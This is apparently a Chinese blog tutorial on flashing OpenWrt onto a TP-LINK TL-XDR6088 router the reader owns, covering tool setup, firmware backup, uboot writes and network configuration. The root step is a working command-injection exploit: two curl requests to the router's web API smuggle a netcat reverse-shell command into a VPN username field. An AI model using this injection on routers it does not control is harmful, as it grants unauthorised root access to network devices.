TP-LINK TL-XDR6088易展Turbo版是普联tplink旗下的轻舟AX6000 Wi-Fi 6 无线路由器,最高无线速率5952Mbps(2.4GHz 1148Mbps,5GHz 4804Mbps)支持4×4 MU-MIMO,拥有1个3.0 USB接口以及2个2.5G网口跟4个千兆网口,CPU采用联发科MT7986A 4核2.0GHz处理器,跟512MB内存以及125MBflash配置非常的nice。

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程:
注意:刷机有风险,刷不好容易变砖,操作需谨慎!!!
准备工作以及环境:
- Windows10或者Windows11电脑系统(其他比如macOS或者Linux ubuntu使用的软件不一样,请自行查找。)
 - 备用网络(用于遇到问题时网上查找解决方案)
 - 网线(用于电脑和路由器直连)
 
软件
- Tftpd64
- 作用:该软件在刷机过程中作为传输文件的服务器
 - 下载:https://pjo2.github.io/tftpd64/ 打开后点击 
Download page,再点击tftpd64.xxx.zip下载压缩包(xxx代表版本号,最新版即可;zip格式解压即用,无需下载安装Tftpd64-x.xx-setup.exe) - 安装:下载完成后解压即可
 
 - Nmap
- 作用:使用软件内的 
ncat,用于监听端口并连接到路由器内部 - 下载:https://nmap.org/download.html 打开后点击 
Windows按钮,再点击nmap-x.xx-setup.exe下载安装程序(x.xx代表版本号,默认是最新版) - 安装:下载完成后以管理员模式安装,下一步下一步即可,中途会跳出 
ncat的安装程序,同样下一步下一步即可 
 - 作用:使用软件内的 
 - git bash
- 备注:这里其他教程都使用的 
Linux系统或者Windows下的WSL-Ubuntu子系统,本人亲测安装Windows版的git之后携带的git bash也可以完成后续操作,且可以直接进入Windows系统的本地磁盘,使用更方便 - 作用:用于执行 
curl等命令 - 下载:https://git-scm.com/download/win 点击 
64-bit Git for Windows Setup下载安装程序 - 安装:下载完成后以管理员模式安装,下一步、下一步即可。
 
 - 备注:这里其他教程都使用的 
 
固件
可以直接使用官方编译好的固件文件,如有自定义需求则自行定制(推荐定制)
- 官方镜像:https://downloads.openwrt.org/releases/24.10.0/targets/mediatek/filogic/ 下载以 
tplink_tl-xdr6088-开头的四个文件 - 定制镜像:
- OpenWrt 24.10.0 官网源码编译固件
 - 说明:在自编译中,获取 
vermagic时需要将x86/64换成mediatek/filogic,同时make menuconfig界面需要如下选择- Target System -> MediaTek Ralink ARM
 - Subtarget -> Filogic 8×0 (MT798x)
 - Target Profile -> TP-Link TL-XDR6088
 - Target Images (不要动!)
 
 
 
也就是说,在准备刷机时,需要准备好如下四个文件
- xxx-uboot.fip
 - xxx-recovery.itb
 - xxx-preloader.bin
 - xxx-sysupgrade.itb
 
之后在 C 盘根目录下新建一个文件夹(不建议有中文,本文以 files 为里),将上述四个文件放入其中,示例如下:
设置路由器和网络
- 拔掉路由器上所有的网线,找个牙签,长按路由器 
RESET按钮 10 秒,之后松开,完成路由器重置 - 使用网线,将电脑连接到路由器 
1G的网口上,并设置电脑端的网卡固定IP为192.168.1.254(PS:必须设置为该IP,否则后面会无法载入recovery文件) - 浏览器访问 
192.168.1.1进入路由器设置界面 - 任意设置一个管理员密码,点击完成进入到上网设置页面
 - 按 
F12打开浏览器的开发者工具,点击到 网络 标签,点击左侧的任意一个ds请求,查看 标头,将 请求网站 中的stok=后面一直到/结束的值复制下来,示例如下: 
准备 TFTP 服务器
设置系统环境
以管理员打开 cmd 命令提示符,执行以下操作
- 关闭 media sensing 功能,这样在连接到电脑的设备重启时,才不会断连。否则之后在 
uboot阶段无法传输recovery镜像。netsh interface ipv4 set global dhcpmediasense=disablednetsh interface ipv6 set global dhcpmediasense=disabled
 - 第一次运行 tftpd64 时,Windows 防火墙可能会问你是否允许,要同时勾选公共和专用网络上都允许,通常这样就可以了。继续在管理员权限的终端中为所有 
TFTP应用打开防火墙端口:netsh advfirewall firewall add rule name="TFTP" dir=in action=allow protocol=udp localport=69 remoteip=localsubnet interfacetype=lan profile=private,public
 
设置软件
在准备环境,下载了 tftpd64 并解压好,此时,以管理员打开解压文件内的 tftpd64.exe ,打开后做如下操作
- 设置文件目录:点击右侧 
Browse选择到固件所在的文件夹 - 设置网卡:在 
Server interfaces右侧下拉,选择和路由器连接的那个网卡(即IP为192.168.1.254) 
设置完成示例如下:
获取 root 权限
- 以管理员打开 
cmd命令提示符,运行ncat -nvlp 4444监听端口,显示如下: - 以管理员打开 
git bash - 执行以下命令将 
stock值存入环境变量export stok=<stok值>
 - 然后运行以下命令,如果成功运行,则会返回 
{"vpn":{"name":"user_1"},"error_code":0}curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'
 - 继续运行以下命令,如果成功运行,则会返回 
{"error_code":0}curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'
 - 此时,在 步骤1 中打开的终端窗口中,如果看到如下提示,则代表成功地开启了具有 
root权限的控制台命令行提示符:
 - 如果没有看到,则重置路由器,重新开始
 
备份原厂固件(重要)
备份原厂固件可以用于后续刷回原厂 TP-LINK 系统
在上文获得了 root 权限的 cmd 窗口中执行以下命令
- 执行以下命令备份(速度较慢)
dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072
 - 执行以下命令获取备份固件的 
md5值(用于校验)md5sum /tmp/backup.img
 - 执行以下命令将固件传输到 
Windows,之后点击打开的tftp服务器,看到有文件在传输,等待传输完成tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254
 - 在 
git bash命令行中执行以下命令获取固件的md5值,该值应当和第二步中获取的值相同md5sum /c/files/backup.img
 
设置 uboot
上传
- 改名:上传前,将 
files目录下的xxx-uboot.fip改名为uboot.fip,将xxx-preloader.bin改名为preloader.bin(改名的唯一作用就是让命令看起来短一些) - 在 
git bash命令行中执行以下命令获取文件的md5值md5sum /c/files/preloader.binmd5sum /c/files/uboot.fip
 - 在获得了 
root权限的cmd窗口中执行以下命令传输文件tftp -g -l /tmp/preloader.bin -r preloader.bin 192.168.1.254tftp -g -l /tmp/uboot.fip -r uboot.fip 192.168.1.254
 - 继续执行以下命令检查 
md5值,应当和第二步获取的相同md5sum /tmp/preloader.binmd5sum /tmp/uboot.fip
 
写入(危险!)
在获得了 root 权限的 cmd 窗口中执行以下命令
一条一条的执行,一定不能调换顺序!!!不然你将收获一块砖
dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bindd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/uboot.fip
其中,输出的数字可能和示例不一样,如果中途出错,请深吸一口气,然后开始百度,因为我也没遇到错误
通过 tftp 载入 recovery 镜像
在 uboot 写入完成后,请直接断电,在接上电源启动,然后观察 tftp 服务器,如果 files 下面的 xxx-recovery.itb 文件名刚好为 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 那么你会看到文件传输的动作,如下图:
如果文件名不对,则会看到提示找不到文件,手动修改文件名即可,示例如下(PS:示例图片来自参考教程):
刷入 sysupgrade 镜像
- 
- 打开路由器页面:在 
recovery文件上传完成后,路由器会马上启动OpenWrt,这时候在浏览器中输入192.168.1.1就可以打开OpenWrt的网页端(PS:如果是自定义固件且修改了路由器默认IP,此时需要修改将本地网卡的网段改到和路由器同一网段,再访问路由器的默认IP即可)默认情况下,登陆页面如下(默认主题不同,可能显示的页面也不同):
 - 登陆:默认密码为空,点击登录后进入主页,看到提示:
系统在恢复 (initramfs) 模式下运行 - 上传 
sysupgrade:点击转到固件升级,再点击刷写固件按钮,将xxx-sysupgrade.itb文件上传上去并确定,最后继续,等待刷写完成(较慢),完成写入后会自动重新打开登录页面,登录后页面如下(截图时已经修改过 root 密码,否则密码为空时会提示修改): 
 - 打开路由器页面:在 
 
恭喜,此时已完成
OpenWrt系统写入,开始愉快的折腾新系统吧。
附加教程:配置 OpenWrt 网络
接口说明
在 网络 -> 接口 -> 设置 页面,默认情况下可以看到 7 个设备,其物理网口对应关系如下:
| 电源 | 1G | 1G | 1G | 1G | 2.5G | 2.5G | 
|---|---|---|---|---|---|---|
| lan4 | lan3 | lan2 | lan1 | lan5 | eth1 | 
br-lan:用于将本地网口绑定到一起组成路由器的LAN口eth0:不知道干嘛的,默认情况下br-lan也没绑定它
上网设置
这段网络设置教程写的不咋地,见谅
PS:默认情况下,上行 WAN接口绑定 eth1
- 修改 
br-lan绑定:点击 网络 -> 接口 -> 设置 -> br-lan 后面的 配置 ,在网口桥接中取消绑定一个 1G 端口(建议lan4),千兆宽带甚至更高的宽带则不动 - 设置 
WAN:点击 网络 -> 接口 -> 接口 -> wan 后面的 编辑- 如果光猫为路由模式,则保持 DHCP 协议即可;
如果光猫为桥架模式,则选择 PPPoE 协议并确认切换,再填写好宽带账号和密码 - 将设备选择到上一步释放的网口上,千兆宽带甚至更高则不动
 - 最后保持
 
 - 如果光猫为路由模式,则保持 DHCP 协议即可;
 - 如果是 
PPPoE模式,则删除wan6并保存,否则检查一下是否需要修改绑定的网口(不用ipv6 也可以直接删除) - 如果修改了 wan 口绑定,则再将 br-lan 中的 eth1 绑定上去
 - 插入 
WAN口的网线,查看是否可以获取到IP - 电脑端口将 
IP设置为自动获取或者手动填写并配置DNS 
恭喜,电脑端浏览器已经可以愉快的打开百度上网了。









评论(0)